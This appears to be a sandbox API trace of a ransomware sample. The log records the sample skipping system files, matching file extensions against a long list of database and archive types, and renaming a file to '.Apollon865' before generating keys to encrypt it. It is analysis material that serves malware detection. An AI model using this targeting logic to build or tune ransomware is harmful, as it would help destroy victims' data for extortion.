	[0078.430] lstrlenW (lpString="fp7") returned 3
	[0078.430] lstrcmpiW (lpString1="hxn", lpString2="fp7") returned 1
	[0078.430] lstrlenW (lpString="fpt") returned 3
	[0078.430] lstrcmpiW (lpString1="hxn", lpString2="fpt") returned 1
	[0078.430] lstrlenW (lpString="frm") returned 3
	[0078.430] lstrcmpiW (lpString1="hxn", lpString2="frm") returned 1
	[0078.430] lstrlenW (lpString="gdb") returned 3
	[0078.430] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.430] lstrlenW (lpString="gdb") returned 3
	[0078.430] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.430] lstrlenW (lpString="grdb") returned 4
	[0078.430] lstrcmpiW (lpString1=".hxn", lpString2="grdb") returned -1
	[0078.430] lstrlenW (lpString="gwi") returned 3
	[0078.430] lstrcmpiW (lpString1="hxn", lpString2="gwi") returned 1
	[0078.430] lstrlenW (lpString="hdb") returned 3
	[0078.430] lstrcmpiW (lpString1="hxn", lpString2="hdb") returned 1
	[0078.430] lstrlenW (lpString="his") returned 3
	[0078.430] lstrcmpiW (lpString1="hxn", lpString2="his") returned 1
	[0078.430] lstrlenW (lpString="ib") returned 2
	[0078.430] lstrcmpiW (lpString1="xn", lpString2="ib") returned 1
	[0078.430] lstrlenW (lpString="idb") returned 3
	[0078.430] lstrcmpiW (lpString1="hxn", lpString2="idb") returned -1
	[0078.430] lstrlenW (lpString="ihx") returned 3
	[0078.431] lstrcmpiW (lpString1="hxn", lpString2="ihx") returned -1
	[0078.431] lstrlenW (lpString="itdb") returned 4
	[0078.431] lstrcmpiW (lpString1=".hxn", lpString2="itdb") returned -1
	[0078.431] lstrlenW (lpString="itw") returned 3
	[0078.431] lstrcmpiW (lpString1="hxn", lpString2="itw") returned -1
	[0078.431] lstrlenW (lpString="jet") returned 3
	[0078.431] lstrcmpiW (lpString1="hxn", lpString2="jet") returned -1
	[0078.431] lstrlenW (lpString="jtx") returned 3
	[0078.431] lstrcmpiW (lpString1="hxn", lpString2="jtx") returned -1
	[0078.431] lstrlenW (lpString="kdb") returned 3
	[0078.431] lstrcmpiW (lpString1="hxn", lpString2="kdb") returned -1
	[0078.431] lstrlenW (lpString="kexi") returned 4
	[0078.431] lstrcmpiW (lpString1=".hxn", lpString2="kexi") returned -1
	[0078.431] lstrlenW (lpString="kexic") returned 5
	[0078.431] lstrcmpiW (lpString1="3.hxn", lpString2="kexic") returned -1
	[0078.431] lstrlenW (lpString="kexis") returned 5
	[0078.431] lstrcmpiW (lpString1="3.hxn", lpString2="kexis") returned -1
	[0078.431] lstrlenW (lpString="lgc") returned 3
	[0078.431] lstrcmpiW (lpString1="hxn", lpString2="lgc") returned -1
	[0078.431] lstrlenW (lpString="lwx") returned 3
	[0078.431] lstrcmpiW (lpString1="hxn", lpString2="lwx") returned -1
	[0078.431] lstrlenW (lpString="maf") returned 3
	[0078.431] lstrcmpiW (lpString1="hxn", lpString2="maf") returned -1
	[0078.431] lstrlenW (lpString="maq") returned 3
	[0078.431] lstrcmpiW (lpString1="hxn", lpString2="maq") returned -1
	[0078.431] lstrlenW (lpString="mar") returned 3
	[0078.431] lstrcmpiW (lpString1="hxn", lpString2="mar") returned -1
	[0078.431] lstrlenW (lpString="marshal") returned 7
	[0078.431] lstrcmpiW (lpString1="033.hxn", lpString2="marshal") returned -1
	[0078.431] lstrlenW (lpString="mas") returned 3
	[0078.431] lstrcmpiW (lpString1="hxn", lpString2="mas") returned -1
	[0078.431] lstrlenW (lpString="mav") returned 3
	[0078.431] lstrcmpiW (lpString1="hxn", lpString2="mav") returned -1
	[0078.431] lstrlenW (lpString="maw") returned 3
	[0078.431] lstrcmpiW (lpString1="hxn", lpString2="maw") returned -1
	[0078.431] lstrlenW (lpString="mdbhtml") returned 7
	[0078.431] lstrcmpiW (lpString1="033.hxn", lpString2="mdbhtml") returned -1
	[0078.431] lstrlenW (lpString="mdn") returned 3
	[0078.432] lstrcmpiW (lpString1="hxn", lpString2="mdn") returned -1
	[0078.432] lstrlenW (lpString="mdt") returned 3
	[0078.432] lstrcmpiW (lpString1="hxn", lpString2="mdt") returned -1
	[0078.432] lstrlenW (lpString="mfd") returned 3
	[0078.432] lstrcmpiW (lpString1="hxn", lpString2="mfd") returned -1
	[0078.432] lstrlenW (lpString="mpd") returned 3
	[0078.432] lstrcmpiW (lpString1="hxn", lpString2="mpd") returned -1
	[0078.432] lstrlenW (lpString="mrg") returned 3
	[0078.432] lstrcmpiW (lpString1="hxn", lpString2="mrg") returned -1
	[0078.432] lstrlenW (lpString="mud") returned 3
	[0078.432] lstrcmpiW (lpString1="hxn", lpString2="mud") returned -1
	[0078.432] lstrlenW (lpString="mwb") returned 3
	[0078.432] lstrcmpiW (lpString1="hxn", lpString2="mwb") returned -1
	[0078.432] lstrlenW (lpString="myd") returned 3
	[0078.432] lstrcmpiW (lpString1="hxn", lpString2="myd") returned -1
	[0078.432] lstrlenW (lpString="ndf") returned 3
	[0078.432] lstrcmpiW (lpString1="hxn", lpString2="ndf") returned -1
	[0078.432] lstrlenW (lpString="nnt") returned 3
	[0078.432] lstrcmpiW (lpString1="hxn", lpString2="nnt") returned -1
	[0078.432] lstrlenW (lpString="nrmlib") returned 6
	[0078.432] lstrcmpiW (lpString1="33.hxn", lpString2="nrmlib") returned -1
	[0078.432] lstrlenW (lpString="ns2") returned 3
	[0078.432] lstrcmpiW (lpString1="hxn", lpString2="ns2") returned -1
	[0078.432] lstrlenW (lpString="ns3") returned 3
	[0078.432] lstrcmpiW (lpString1="hxn", lpString2="ns3") returned -1
	[0078.432] lstrlenW (lpString="ns4") returned 3
	[0078.432] lstrcmpiW (lpString1="hxn", lpString2="ns4") returned -1
	[0078.432] lstrlenW (lpString="nsf") returned 3
	[0078.432] lstrcmpiW (lpString1="hxn", lpString2="nsf") returned -1
	[0078.432] lstrlenW (lpString="nv") returned 2
	[0078.432] lstrcmpiW (lpString1="xn", lpString2="nv") returned 1
	[0078.432] lstrlenW (lpString="nv2") returned 3
	[0078.432] lstrcmpiW (lpString1="hxn", lpString2="nv2") returned -1
	[0078.432] lstrlenW (lpString="nwdb") returned 4
	[0078.432] lstrcmpiW (lpString1=".hxn", lpString2="nwdb") returned -1
	[0078.432] lstrlenW (lpString="nyf") returned 3
	[0078.432] lstrcmpiW (lpString1="hxn", lpString2="nyf") returned -1
	[0078.432] lstrlenW (lpString="odb") returned 3
	[0078.433] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.433] lstrlenW (lpString="odb") returned 3
	[0078.433] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.433] lstrlenW (lpString="oqy") returned 3
	[0078.433] lstrcmpiW (lpString1="hxn", lpString2="oqy") returned -1
	[0078.433] lstrlenW (lpString="ora") returned 3
	[0078.433] lstrcmpiW (lpString1="hxn", lpString2="ora") returned -1
	[0078.433] lstrlenW (lpString="orx") returned 3
	[0078.433] lstrcmpiW (lpString1="hxn", lpString2="orx") returned -1
	[0078.433] lstrlenW (lpString="owc") returned 3
	[0078.433] lstrcmpiW (lpString1="hxn", lpString2="owc") returned -1
	[0078.433] lstrlenW (lpString="p96") returned 3
	[0078.433] lstrcmpiW (lpString1="hxn", lpString2="p96") returned -1
	[0078.433] lstrlenW (lpString="p97") returned 3
	[0078.433] lstrcmpiW (lpString1="hxn", lpString2="p97") returned -1
	[0078.433] lstrlenW (lpString="pan") returned 3
	[0078.433] lstrcmpiW (lpString1="hxn", lpString2="pan") returned -1
	[0078.433] lstrlenW (lpString="pdb") returned 3
	[0078.433] lstrcmpiW (lpString1="hxn", lpString2="pdb") returned -1
	[0078.433] lstrlenW (lpString="pdm") returned 3
	[0078.433] lstrcmpiW (lpString1="hxn", lpString2="pdm") returned -1
	[0078.433] lstrlenW (lpString="pnz") returned 3
	[0078.433] lstrcmpiW (lpString1="hxn", lpString2="pnz") returned -1
	[0078.433] lstrlenW (lpString="qry") returned 3
	[0078.433] lstrcmpiW (lpString1="hxn", lpString2="qry") returned -1
	[0078.433] lstrlenW (lpString="qvd") returned 3
	[0078.433] lstrcmpiW (lpString1="hxn", lpString2="qvd") returned -1
	[0078.433] lstrlenW (lpString="rbf") returned 3
	[0078.433] lstrcmpiW (lpString1="hxn", lpString2="rbf") returned -1
	[0078.433] lstrlenW (lpString="rctd") returned 4
	[0078.433] lstrcmpiW (lpString1=".hxn", lpString2="rctd") returned -1
	[0078.433] lstrlenW (lpString="rod") returned 3
	[0078.433] lstrcmpiW (lpString1="hxn", lpString2="rod") returned -1
	[0078.433] lstrlenW (lpString="rodx") returned 4
	[0078.433] lstrcmpiW (lpString1=".hxn", lpString2="rodx") returned -1
	[0078.433] lstrlenW (lpString="rpd") returned 3
	[0078.434] lstrcmpiW (lpString1="hxn", lpString2="rpd") returned -1
	[0078.434] lstrlenW (lpString="rsd") returned 3
	[0078.434] lstrcmpiW (lpString1="hxn", lpString2="rsd") returned -1
	[0078.434] lstrlenW (lpString="sas7bdat") returned 8
	[0078.434] lstrcmpiW (lpString1="1033.hxn", lpString2="sas7bdat") returned -1
	[0078.434] lstrlenW (lpString="sbf") returned 3
	[0078.434] lstrcmpiW (lpString1="hxn", lpString2="sbf") returned -1
	[0078.434] lstrlenW (lpString="scx") returned 3
	[0078.434] lstrcmpiW (lpString1="hxn", lpString2="scx") returned -1
	[0078.434] lstrlenW (lpString="sdb") returned 3
	[0078.434] lstrcmpiW (lpString1="hxn", lpString2="sdb") returned -1
	[0078.434] lstrlenW (lpString="sdc") returned 3
	[0078.434] lstrcmpiW (lpString1="hxn", lpString2="sdc") returned -1
	[0078.434] lstrlenW (lpString="sdf") returned 3
	[0078.434] lstrcmpiW (lpString1="hxn", lpString2="sdf") returned -1
	[0078.434] lstrlenW (lpString="sis") returned 3
	[0078.434] lstrcmpiW (lpString1="hxn", lpString2="sis") returned -1
	[0078.434] lstrlenW (lpString="spq") returned 3
	[0078.434] lstrcmpiW (lpString1="hxn", lpString2="spq") returned -1
	[0078.434] lstrlenW (lpString="te") returned 2
	[0078.434] lstrcmpiW (lpString1="xn", lpString2="te") returned 1
	[0078.434] lstrlenW (lpString="teacher") returned 7
	[0078.434] lstrcmpiW (lpString1="033.hxn", lpString2="teacher") returned -1
	[0078.434] lstrlenW (lpString="tmd") returned 3
	[0078.434] lstrcmpiW (lpString1="hxn", lpString2="tmd") returned -1
	[0078.434] lstrlenW (lpString="tps") returned 3
	[0078.434] lstrcmpiW (lpString1="hxn", lpString2="tps") returned -1
	[0078.434] lstrlenW (lpString="trc") returned 3
	[0078.434] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.434] lstrlenW (lpString="trc") returned 3
	[0078.434] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.434] lstrlenW (lpString="trm") returned 3
	[0078.434] lstrcmpiW (lpString1="hxn", lpString2="trm") returned -1
	[0078.434] lstrlenW (lpString="udb") returned 3
	[0078.434] lstrcmpiW (lpString1="hxn", lpString2="udb") returned -1
	[0078.434] lstrlenW (lpString="udl") returned 3
	[0078.435] lstrcmpiW (lpString1="hxn", lpString2="udl") returned -1
	[0078.435] lstrlenW (lpString="usr") returned 3
	[0078.435] lstrcmpiW (lpString1="hxn", lpString2="usr") returned -1
	[0078.435] lstrlenW (lpString="v12") returned 3
	[0078.435] lstrcmpiW (lpString1="hxn", lpString2="v12") returned -1
	[0078.435] lstrlenW (lpString="vis") returned 3
	[0078.435] lstrcmpiW (lpString1="hxn", lpString2="vis") returned -1
	[0078.435] lstrlenW (lpString="vpd") returned 3
	[0078.435] lstrcmpiW (lpString1="hxn", lpString2="vpd") returned -1
	[0078.435] lstrlenW (lpString="vvv") returned 3
	[0078.435] lstrcmpiW (lpString1="hxn", lpString2="vvv") returned -1
	[0078.435] lstrlenW (lpString="wdb") returned 3
	[0078.435] lstrcmpiW (lpString1="hxn", lpString2="wdb") returned -1
	[0078.435] lstrlenW (lpString="wmdb") returned 4
	[0078.435] lstrcmpiW (lpString1=".hxn", lpString2="wmdb") returned -1
	[0078.435] lstrlenW (lpString="wrk") returned 3
	[0078.435] lstrcmpiW (lpString1="hxn", lpString2="wrk") returned -1
	[0078.435] lstrlenW (lpString="xdb") returned 3
	[0078.435] lstrcmpiW (lpString1="hxn", lpString2="xdb") returned -1
	[0078.435] lstrlenW (lpString="xld") returned 3
	[0078.435] lstrcmpiW (lpString1="hxn", lpString2="xld") returned -1
	[0078.435] lstrlenW (lpString="xmlff") returned 5
	[0078.435] lstrcmpiW (lpString1="3.hxn", lpString2="xmlff") returned -1
	[0078.435] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.MSOUC.14.1033.hxn.Apollon865") returned 65
	[0078.435] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSOUC.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msouc.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSOUC.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.msouc.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.436] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSOUC.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.msouc.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xd8
	[0078.436] GetFileSizeEx (in: hFile=0xd8, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=326) returned 1
	[0078.436] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf920
	[0078.437] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bfa30) returned 1
	[0078.438] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.438] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.438] CreateFileMappingW (hFile=0xd8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x450, lpName=0x0) returned 0x100
	[0078.464] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x450) returned 0x120000
	[0078.472] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bfab8) returned 1
	[0078.473] CryptGenRandom (in: hProv=0x5bfab8, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.473] CryptReleaseContext (hProv=0x5bfab8, dwFlags=0x0) returned 1
	[0078.473] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.473] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.473] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.473] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.473] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.473] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.473] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0078.474] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.474] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0078.474] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.474] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0078.474] CloseHandle (hObject=0x100) returned 1
	[0078.474] CloseHandle (hObject=0xd8) returned 1
	[0078.474] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.474] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf920 | out: hHeap=0x580000) returned 1
	[0078.474] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.475] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bf5d790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSPUB.14.1033.hxn", cAlternateFileName="MSMSPU~1.HXN")) returned 1
	[0078.475] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.475] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.475] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2=".") returned 1
	[0078.475] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="..") returned 1
	[0078.475] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="windows") returned -1
	[0078.475] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.475] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="temp") returned -1
	[0078.475] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.475] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="boot") returned 1
	[0078.475] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.475] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.475] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.475] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.475] lstrlenW (lpString="MS.MSPUB.14.1033.hxn") returned 20
	[0078.475] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.MSOUC.14.1033.hxn") returned 54
	[0078.475] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.MSPUB.14.1033.hxn" | out: lpString1="MS.MSPUB.14.1033.hxn") returned="MS.MSPUB.14.1033.hxn"
	[0078.475] lstrlenW (lpString="MS.MSPUB.14.1033.hxn") returned 20
	[0078.475] lstrlenW (lpString="Apollon865") returned 10
	[0078.475] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.475] lstrlenW (lpString=".dll") returned 4
	[0078.475] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2=".dll") returned 1
	[0078.475] lstrlenW (lpString=".lnk") returned 4
	[0078.475] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.475] lstrlenW (lpString=".ini") returned 4
	[0078.475] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2=".ini") returned 1
	[0078.475] lstrlenW (lpString=".sys") returned 4
	[0078.475] lstrcmpiW (lpString1="MS.MSPUB.14.1033.hxn", lpString2=".sys") returned 1
	[0078.475] lstrlenW (lpString="MS.MSPUB.14.1033.hxn") returned 20
	[0078.475] lstrlenW (lpString="bak") returned 3
	[0078.475] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1
	[0078.475] lstrlenW (lpString="ba_") returned 3
	[0078.476] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1
	[0078.476] lstrlenW (lpString="dbb") returned 3
	[0078.476] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1
	[0078.476] lstrlenW (lpString="vmdk") returned 4
	[0078.476] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1
	[0078.476] lstrlenW (lpString="rar") returned 3
	[0078.476] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1
	[0078.476] lstrlenW (lpString="zip") returned 3
	[0078.476] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1
	[0078.476] lstrlenW (lpString="tgz") returned 3
	[0078.476] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1
	[0078.476] lstrlenW (lpString="vbox") returned 4
	[0078.476] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1
	[0078.476] lstrlenW (lpString="vdi") returned 3
	[0078.476] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1
	[0078.476] lstrlenW (lpString="vhd") returned 3
	[0078.476] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1
	[0078.476] lstrlenW (lpString="vhdx") returned 4
	[0078.476] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1
	[0078.476] lstrlenW (lpString="avhd") returned 4
	[0078.476] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1
	[0078.476] lstrlenW (lpString="db") returned 2
	[0078.476] lstrcmpiW (lpString1="xn", lpString2="db") returned 1
	[0078.476] lstrlenW (lpString="db2") returned 3
	[0078.476] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1
	[0078.476] lstrlenW (lpString="db3") returned 3
	[0078.476] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1
	[0078.476] lstrlenW (lpString="dbf") returned 3
	[0078.476] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1
	[0078.476] lstrlenW (lpString="mdf") returned 3
	[0078.476] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1
	[0078.476] lstrlenW (lpString="mdb") returned 3
	[0078.476] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1
	[0078.476] lstrlenW (lpString="sql") returned 3
	[0078.476] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1
	[0078.476] lstrlenW (lpString="sqlite") returned 6
	[0078.476] lstrcmpiW (lpString1="33.hxn", lpString2="sqlite") returned -1
	[0078.476] lstrlenW (lpString="sqlite3") returned 7
	[0078.477] lstrcmpiW (lpString1="033.hxn", lpString2="sqlite3") returned -1
	[0078.477] lstrlenW (lpString="sqlitedb") returned 8
	[0078.477] lstrcmpiW (lpString1="1033.hxn", lpString2="sqlitedb") returned -1
	[0078.477] lstrlenW (lpString="xml") returned 3
	[0078.477] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1
	[0078.477] lstrlenW (lpString="$er") returned 3
	[0078.477] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1
	[0078.477] lstrlenW (lpString="4dd") returned 3
	[0078.477] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1
	[0078.477] lstrlenW (lpString="4dl") returned 3
	[0078.477] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1
	[0078.477] lstrlenW (lpString="^^^") returned 3
	[0078.477] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1
	[0078.477] lstrlenW (lpString="abs") returned 3
	[0078.477] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1
	[0078.477] lstrlenW (lpString="abx") returned 3
	[0078.477] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1
	[0078.477] lstrlenW (lpString="accdb") returned 5
	[0078.477] lstrcmpiW (lpString1="3.hxn", lpString2="accdb") returned -1
	[0078.477] lstrlenW (lpString="accdc") returned 5
	[0078.477] lstrcmpiW (lpString1="3.hxn", lpString2="accdc") returned -1
	[0078.477] lstrlenW (lpString="accde") returned 5
	[0078.477] lstrcmpiW (lpString1="3.hxn", lpString2="accde") returned -1
	[0078.477] lstrlenW (lpString="accdr") returned 5
	[0078.477] lstrcmpiW (lpString1="3.hxn", lpString2="accdr") returned -1
	[0078.477] lstrlenW (lpString="accdt") returned 5
	[0078.477] lstrcmpiW (lpString1="3.hxn", lpString2="accdt") returned -1
	[0078.477] lstrlenW (lpString="accdw") returned 5
	[0078.477] lstrcmpiW (lpString1="3.hxn", lpString2="accdw") returned -1
	[0078.477] lstrlenW (lpString="accft") returned 5
	[0078.477] lstrcmpiW (lpString1="3.hxn", lpString2="accft") returned -1
	[0078.477] lstrlenW (lpString="adb") returned 3
	[0078.477] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.477] lstrlenW (lpString="adb") returned 3
	[0078.477] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.477] lstrlenW (lpString="ade") returned 3
	[0078.477] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1
	[0078.477] lstrlenW (lpString="adf") returned 3
	[0078.478] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1
	[0078.478] lstrlenW (lpString="adn") returned 3
	[0078.478] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1
	[0078.478] lstrlenW (lpString="adp") returned 3
	[0078.478] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1
	[0078.478] lstrlenW (lpString="alf") returned 3
	[0078.478] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1
	[0078.478] lstrlenW (lpString="ask") returned 3
	[0078.478] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1
	[0078.478] lstrlenW (lpString="btr") returned 3
	[0078.478] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1
	[0078.478] lstrlenW (lpString="cat") returned 3
	[0078.478] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1
	[0078.478] lstrlenW (lpString="cdb") returned 3
	[0078.478] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1
	[0078.478] lstrlenW (lpString="ckp") returned 3
	[0078.478] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1
	[0078.478] lstrlenW (lpString="cma") returned 3
	[0078.478] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1
	[0078.478] lstrlenW (lpString="cpd") returned 3
	[0078.478] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1
	[0078.478] lstrlenW (lpString="dacpac") returned 6
	[0078.478] lstrcmpiW (lpString1="33.hxn", lpString2="dacpac") returned -1
	[0078.478] lstrlenW (lpString="dad") returned 3
	[0078.478] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1
	[0078.478] lstrlenW (lpString="dadiagrams") returned 10
	[0078.478] lstrcmpiW (lpString1="4.1033.hxn", lpString2="dadiagrams") returned -1
	[0078.478] lstrlenW (lpString="daschema") returned 8
	[0078.478] lstrcmpiW (lpString1="1033.hxn", lpString2="daschema") returned -1
	[0078.478] lstrlenW (lpString="db-journal") returned 10
	[0078.478] lstrcmpiW (lpString1="4.1033.hxn", lpString2="db-journal") returned -1
	[0078.478] lstrlenW (lpString="db-shm") returned 6
	[0078.478] lstrcmpiW (lpString1="33.hxn", lpString2="db-shm") returned -1
	[0078.478] lstrlenW (lpString="db-wal") returned 6
	[0078.478] lstrcmpiW (lpString1="33.hxn", lpString2="db-wal") returned -1
	[0078.478] lstrlenW (lpString="dbc") returned 3
	[0078.478] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1
	[0078.479] lstrlenW (lpString="dbs") returned 3
	[0078.479] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1
	[0078.479] lstrlenW (lpString="dbt") returned 3
	[0078.479] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1
	[0078.479] lstrlenW (lpString="dbv") returned 3
	[0078.479] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1
	[0078.479] lstrlenW (lpString="dbx") returned 3
	[0078.479] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1
	[0078.479] lstrlenW (lpString="dcb") returned 3
	[0078.479] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1
	[0078.479] lstrlenW (lpString="dct") returned 3
	[0078.479] lstrcmpiW (lpString1="hxn", lpString2="dct") returned 1
	[0078.479] lstrlenW (lpString="dcx") returned 3
	[0078.479] lstrcmpiW (lpString1="hxn", lpString2="dcx") returned 1
	[0078.479] lstrlenW (lpString="ddl") returned 3
	[0078.479] lstrcmpiW (lpString1="hxn", lpString2="ddl") returned 1
	[0078.479] lstrlenW (lpString="dlis") returned 4
	[0078.479] lstrcmpiW (lpString1=".hxn", lpString2="dlis") returned -1
	[0078.479] lstrlenW (lpString="dp1") returned 3
	[0078.479] lstrcmpiW (lpString1="hxn", lpString2="dp1") returned 1
	[0078.479] lstrlenW (lpString="dqy") returned 3
	[0078.479] lstrcmpiW (lpString1="hxn", lpString2="dqy") returned 1
	[0078.479] lstrlenW (lpString="dsk") returned 3
